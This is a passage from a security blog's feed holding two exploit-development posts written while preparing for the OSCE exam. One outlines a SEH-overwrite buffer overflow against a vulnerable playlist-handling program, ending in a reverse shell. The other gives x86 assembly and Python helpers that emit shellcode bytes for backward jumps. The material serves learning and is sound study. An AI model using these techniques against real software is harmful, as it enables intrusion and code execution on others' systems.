<p>I installed the vulnerable package from the vendor website and I started
writing the exploit from scratch from the very beginning:</p>
<ul>
  <li>fill the file with a large number of ‘A’s in order to see what happens to the
program;</li>
  <li>find the SEH overwrite, so try to understand which part of my payloads
overwrites the SEH address;</li>
  <li>calculate the bad characters;</li>
  <li>find a POP-POP-RET sequence;</li>
</ul>

<p>Here it was where I found something blocking. One of the few usable POP-POP-RET
sequences was available at 0x00401838 since all other ones were in modules with
SAFESEH enabled. Obviously, I can’t write a NULL character in my payload since
it would break the whole string written into the evil playlist.</p>

<p>During my bad characters hunting I found that 0x1a would turn into 0x00 so I
can use a bad character to obtain the requested null byte. As side effect, I
couldn’t write any further bytes into memory from this position onwards.</p>

<p>All my exploitation chain would relay on backward jumps. My next SEH address,
which it was executed right after my POP-POP-RET sequence, brings the code back
to a big 400 bytes backward jump.</p>

<p>The jump brings the EIP into my NOP sled and eventually to my reverse shell
payload.</p>

<p>So, this funny exercise that it was apparently trivial to executed, lead me to
have my <a href="https://www.exploit-db.com/exploits/46584">first exploit</a> to be
published on exploit-db and it will teach me a different way to write a SEH
exploit payload.</p>

<p>Enjoy it!</p>]]></content><author><name>thesp0nge</name></author><category term="osce" /><category term="exploit" /><category term="seh" /><category term="buffer overflow" /><summary type="html"><![CDATA[A couple of days ago, I was working on my exploit-writing routine as preparation for my upcoming OSCE examination.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://armoredcode.com/assets/images/fireworks.jpg" /><media:content medium="image" url="https://armoredcode.com/assets/images/fireworks.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Backflip into the stack</title><link href="https://armoredcode.com/blog/backflip-into-the-stack/" rel="alternate" type="text/html" title="Backflip into the stack" /><published>2019-03-19T00:00:00+00:00</published><updated>2019-03-19T00:00:00+00:00</updated><id>https://armoredcode.com/blog/backflip-into-the-stack</id><content type="html" xml:base="https://armoredcode.com/blog/backflip-into-the-stack/"><![CDATA[<p>During my OSCE journey I came across an interesting technique to jump backwards
into the very beginning of the buffer injected on the vulnerable process.</p>

<p>The more reliable technique to jump back is to use an egghunter. You split
your shellcode into stages: in the first stage you write an <a href="https://codiceinsicuro.it/slae/assignment-3-an-egg-hunter-journey">egghunter
shellcode</a>
that searches into the memory for the second stage payload, that it is the code
you want to executed prepended by your egg.</p>

<p>However, under some circumstances, you may want to execute a jump back into
your shellcode.</p>

<p>This <a href="http://phrack.org/issues/62/7.html">old but gold phrack article</a>
describes some very handy assembly code snippets when writing shellcode for
Microsoft Windows.</p>

<p>Here you can find the idea about using FPU state saving instructions to have
the EIP value to be written on the stack.</p>

<figure class="highlight"><pre><code class="language-asm" data-lang="asm">fldz
fnstenv [esp-12]
pop ecx
add cl, 10
nop</code></pre></figure>

<p><a href="https://c9x.me/x86/html/file_module_x86_id_101.html">FLDZ</a> instruction pushes
a 0 on the FPU register stack and the
<a href="https://www.felixcloutier.com/x86/fstenv:fnstenv">FNSTENV</a> stores the FPU
environment to the address given as parameter,</p>

<p>Executing a “fnstenv [esp]” instruction, the result on the stack is the
following.</p>

<figure class="highlight"><pre><code class="language-sh" data-lang="sh">gdb-peda<span class="nv">$ </span>x/30x <span class="nv">$esp</span>
0xffffd600:	0x7f	0x03	0xff	0xff	0x00	0x38	0xff	0xff
0xffffd608:	0xff	0x7f	0xff	0xff	0x82	0x80	0x04	0x08
0xffffd610:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffd618:	0x00	0x00	0xff	0xff	0xe9	0xd7</code></pre></figure>

<p>If we want to align the information about the EIP (0x08048082 in my case) to be
found at the very beginning of the stack, we kindly ask FNSTENV to start
writing 12 bytes before the $ESP value, that’s the reason of “fnstenv
[esp-12]”.</p>

<p>We than pop the stack word into ECX storing the value the EIP register has when
fnstenv it was called. Then, I choose to add 9 bytes to move ECX value to the
instruction right after the NOP.</p>

<p>In order to execute a jump, we decrement CH register (the most significant 8
bits of the CX register, <a href="https://www.tutorialspoint.com/assembly_programming/assembly_registers.htm">the 16 bits representation of
ECX</a>.
This will subtract 256 on the whole ECX value, that means this technique allow
us to jump backwards in steps of 256 bytes.</p>

<figure class="highlight"><pre><code class="language-asm" data-lang="asm">fldz
fnstenv [esp-12]
pop ecx
add cl, 10
nop
dec ch
dec ch
jmp ecx</code></pre></figure>

<p>See the code in action on gdb.</p>

<p>Today I added those two shellcodes in <a href="https://github.com/thesp0nge/shellerate/blob/master/shellerate/utils/asm_x86.py">shellerate
project</a>.</p>

<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">def</span> <span class="nf">get_where_am_i_in_ecx</span><span class="p">():</span>
    <span class="c1"># fldz
</span>    <span class="c1"># fnstenv [esp-12]
</span>    <span class="c1"># pop ecx
</span>    <span class="c1"># add cl, 9
</span>    <span class="k">return</span> <span class="s">"</span><span class="se">\xd9\xee\xd9\x74\x24\xf4\x59\x80\xc1\x09</span><span class="s">"</span>

<span class="c1"># jumps is how many 256 bytes backword jump you want to take
</span><span class="k">def</span> <span class="nf">jmp_backwards_ecx</span><span class="p">(</span><span class="n">jumps</span><span class="o">=</span><span class="mi">1</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">get_where_am_i_in_ecx</span><span class="p">()</span> <span class="o">+</span> <span class="s">"</span><span class="se">\xfe\xcd</span><span class="s">"</span> <span class="o">*</span> <span class="n">jumps</span> <span class="o">+</span> <span class="s">"</span><span class="se">\xff\xe1</span><span class="s">"</span></code></pre></figure>

<p>Please note again that using egghunter is more reliable but it can take some
time in order to loop into victim memory searching for the payload. Anyway,
this technique can be used if you’re pretty sure about the fixed amount of
space you can backward skip, e.g. it can be safetly used in a SEH overwrite
exploitation.</p>

<p>Enjoy it!</p>]]></content><author><name>thesp0nge</name></author><category term="osce" /><category term="shellcode" /><category term="assembly" /><category term="x86" /><summary type="html"><![CDATA[During my OSCE journey I came across an interesting technique to jump backwards into the very beginning of the buffer injected on the vulnerable process.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://armoredcode.com/assets/images/backflip.jpg" /><media:content medium="image" url="https://armoredcode.com/assets/images/backflip.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>